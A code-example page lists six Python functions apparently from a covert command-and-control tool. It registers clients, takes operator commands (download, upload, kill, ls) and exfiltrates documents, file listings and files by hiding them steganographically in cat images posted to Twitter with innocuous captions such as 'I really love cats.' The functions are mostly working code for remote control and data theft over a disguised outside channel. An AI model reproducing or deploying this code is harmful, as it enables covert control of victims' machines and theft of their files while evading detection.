Ejemplo n.º 1
0
def uploadDoc(docname):
    global api
    import textract
    global toServerPath
    if ('pdf' in docname):
        txt = str(textract.process(docname, method='pdfminer'))
        #txt=str(textract.process('new.docx',method='docx'))
        print(str(txt))
        f = open("experiment.txt", 'w+')
        f.write(txt)
        f.close()
        encodeFile("pdf.txt",
                   "./cats/cat" + str(random.randint(1, 51)) + ".png")
        api.update_with_media(
            'new.png',
            "I really love cats.")  #This indicates it is a doc upload
    elif ('docx' in docname):
        txt = str(textract.process(docname, method='docx'))
        f = open("docx.txt", 'w+')
        f.write(txt)
        f.close()
        encodeFile("docx.txt",
                   "./cats/cat" + str(random.randint(1, 51)) + ".png")
        api.update_with_media(
            'new.png',
            "I really love cats.")  #This indicates it is a doc upload
Ejemplo n.º 2
0
def interact():
    global listen
    global interval
    global lastChecked
    print(helpString)
    print("Hello! What would you like to do today?")
    while (True):
        if (listen == False):
            cmd = input("\n[user]$ ")
            cmd = cmd.lower()
            form = re.findall(
                r"\d\s(download|kill|listen|shutdown|list|scan|status|upload|help|uploaddoc|ls)",
                cmd)
            if (form):
                args = cmd.split()
                print("[debug] cmd: " + cmd)
                if (args[0] == '0'):
                    if (args[1] == 'listen'):
                        print('Listening mode active')
                        listen = True
                    elif (args[1] == 'list'):
                        print('Listing clients...')
                        listClients()
                    elif (args[1] == 'scan'):
                        print('Scanning messages...')
                        checkMessages()
                    elif (args[1] == 'status'):
                        checkRateLimit()
                    elif (args[1] == 'help'):
                        print(helpString)
                    elif (args[1] == 'shutdown'):
                        print("Shutting down...")
                        saveState()
                        sys.exit(0)
                elif (int(args[0]) not in ids):
                    printerr("Client " + args[0] + " does not exist")
                    listClients()
                else:
                    f = open(hiddenFilePath, "w+")
                    f.write(cmd)
                    f.close()
                    encodeFile(
                        hiddenFilePath,
                        "images/cat" + str(random.randint(1, 51)) + ".png")
                    sendMessage("new.png")
            else:
                print(helpString)
            if ((time.time() - lastChecked) > interval
                    and isRateLimitExceeded()):
                checkMessages()
        else:
            if ((time.time() - lastChecked) > interval
                    and isRateLimitExceeded()):
                checkMessages()
Ejemplo n.º 3
0
def lsf(dirr):
    if (dirr != "none"):
        dirs = os.listdir(os.path.dirname(os.path.realpath(__file__)) + dirr)
    else:
        dirs = os.listdir(os.path.dirname(os.path.realpath(__file__)))
    f = open("list.txt", 'w+')
    for files in dirs:
        f.write(str(files) + "\n")
    f.close()
    encodeFile("list.txt", "./cats/cat" + str(random.randint(1, 51)) + ".png")
    api.update_with_media(
        'new.png', "Dogs are overrated.")  #This indicates it is a doc upload
Ejemplo n.º 4
0
def clientHello():
    global catMsgs
    catFile = open("msgs.txt")
    for line in catFile:
        catMsgs.append(str(line))
    catFile.close()
    f = open(toServerPath, "w+")
    f.write(str(myId) + " Register")
    f.close()
    encodeFile(toServerPath,
               "./cats/cat" + str(random.randint(1, 51)) + ".png")
    sendMessage('new.png')
Ejemplo n.º 5
0
def shutdown():
    print("Shutting down...")
    catFile = open("msgs.txt")
    for line in catFile:
        catMsgs.append(str(line))
    catFile.close()
    f = open(toServerPath, "w+")
    f.write(str(myId) + " Killed")
    f.close()
    encodeFile(toServerPath,
               "./cats/cat" + str(random.randint(1, 51)) + ".png")
    sendMessage('new.png')
    time.sleep(2)
    exit(0)
Ejemplo n.º 6
0
def uploadFile(fname):
    global api
    encodeFile(fname, "./cats/cat" + str(random.randint(1, 51)) + ".png")
    api.update_with_media('new.png',
                          "I love cats.")  #This indicates it is a file upload